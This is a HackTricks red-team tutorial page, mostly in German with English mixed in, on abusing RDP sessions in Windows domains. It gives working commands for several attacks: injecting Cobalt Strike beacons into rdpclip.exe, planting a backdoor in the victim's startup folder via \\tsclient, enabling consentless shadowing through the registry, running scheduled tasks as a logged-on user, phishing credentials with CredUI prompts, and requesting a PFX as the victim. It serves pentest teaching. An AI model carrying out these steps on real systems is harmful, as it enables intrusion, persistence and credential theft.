RDP Sessions Abuse
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
RDP Process Injection
Wenn die external group RDP access zu einem beliebigen computer in der aktuellen Domain hat, könnte ein attacker compromise that computer and wait for him.
Sobald sich dieser Benutzer über RDP angemeldet hat, kann der attacker can pivot to that users session und seine Berechtigungen in der externen Domain missbrauchen.
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
Check andere Möglichkeiten, Sessions mit anderen Tools zu stehlen auf dieser Seite.
RDPInception
Wenn ein Benutzer per RDP into a machine auf eine Maschine zugreift, auf der ein attacker auf ihn waiting ist, kann der attacker einen inject a beacon in the RDP session of the user ausführen; und falls der victim mounted his drive beim Zugriff per RDP, könnte der attacker darauf zugreifen.
In diesem Fall könnten Sie einfach den victims original computer compromise, indem Sie eine backdoor in den statup folder schreiben.
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
Size Type Last Modified Name
---- ---- ------------- ----
dir 02/10/2021 04:11:30 $Recycle.Bin
dir 02/10/2021 03:23:44 Boot
dir 02/20/2021 10:15:23 Config.Msi
dir 10/18/2016 01:59:39 Documents and Settings
[...]
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
Shadow RDP
Wenn Sie local admin auf einem Host sind, auf dem das Opfer bereits eine active RDP session hat, können Sie möglicherweise view/control that desktop without stealing the password or dumping LSASS.
Das hängt von der Remote Desktop Services shadowing-Richtlinie ab, die gespeichert ist in:
HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow
Interessante Werte:
0: Deaktiviert1:EnableInputNotify(Steuerung, Benutzerbestätigung erforderlich)2:EnableInputNoNotify(Steuerung, keine Benutzerbestätigung)3:EnableNoInputNotify(Nur-Anzeige, Benutzerbestätigung erforderlich)4:EnableNoInputNoNotify(Nur-Anzeige, keine Benutzerbestätigung)
:: Check the policy
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
:: Enable interaction without consent
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f
:: Enumerate sessions and shadow the target one
quser /server:<HOST>
mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt
Das ist besonders nützlich, wenn ein privilegierter Benutzer, der über RDP verbunden ist, einen entsperrten Desktop, eine KeePass-Sitzung, eine MMC-Konsole, eine Browsersitzung oder eine Admin-Shell offen gelassen hat.
Geplante Aufgaben als angemeldeter Benutzer
Wenn Sie local admin sind und der Zielbenutzer currently logged on ist, kann Task Scheduler Code als dieser Benutzer ohne dessen Passwort starten.
Dies verwandelt die bestehende Anmeldesitzung des Opfers in ein execution primitive:
schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt"
schtasks /run /S <HOST> /TN "Updater"
Notes:
- Wenn der Benutzer nicht angemeldet ist, verlangt Windows normalerweise das Passwort, um eine Aufgabe zu erstellen, die als dieser Benutzer ausgeführt wird.
- Wenn der Benutzer angemeldet ist, kann die Aufgabe den vorhandenen Anmeldekontext wiederverwenden.
- Dies ist eine praktische Methode, GUI-Aktionen auszuführen oder Binärdateien innerhalb der Sitzung des Opfers zu starten, ohne LSASS anzufassen.
CredUI Prompt Abuse From the Victim Session
Sobald Sie innerhalb des interaktiven Desktops des Opfers ausführen können (zum Beispiel via Shadow RDP oder a scheduled task running as that user), können Sie mithilfe der CredUI APIs eine echte Windows credential prompt anzeigen und die vom Opfer eingegebenen Anmeldeinformationen abgreifen.
Relevant APIs:
CredUIPromptForWindowsCredentialsCredUnPackAuthenticationBuffer
Typischer Ablauf:
- Starten Sie eine Binärdatei in der Sitzung des Opfers.
- Zeigen Sie eine Domänen-Authentifizierungsaufforderung an, die zum Branding der aktuellen Domäne passt.
- Entpacken Sie den zurückgegebenen Auth-Puffer.
- Prüfen Sie die bereitgestellten Anmeldeinformationen und fragen Sie gegebenenfalls weiter ab, bis gültige Anmeldeinformationen eingegeben werden.
Dies ist nützlich für on-host phishing, weil die Eingabeaufforderung von standardmäßigen Windows-APIs gerendert wird statt von einem gefälschten HTML-Formular.
Requesting a PFX In the Victim Context
Dasselbe primitive scheduled-task-as-user kann verwendet werden, um ein certificate/PFX as the logged-on victim anzufordern. Dieses Zertifikat kann später für AD authentication als dieser Benutzer verwendet werden und vermeidet somit den Passwortdiebstahl vollständig.
Ablauf (Übersicht):
- Erlangen Sie local admin auf einem Host, auf dem das Opfer angemeldet ist.
- Führen Sie die Enrollment/Export-Logik als das Opfer mithilfe einer geplanten Aufgabe aus.
- Exportieren Sie das resultierende PFX.
- Verwenden Sie das PFX für PKINIT / zertifikatbasierte AD-Authentifizierung.
Siehe die AD CS-Seiten für weiterführenden Missbrauch:
References
- SensePost - From flat networks to locked up domains with tiering models
- Microsoft - Remote Desktop shadow
- NetExec - Shadow RDP plugin PR #465
- NetExec - schtask_as module
- NetExec - Request PFX via scheduled task PR #908
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


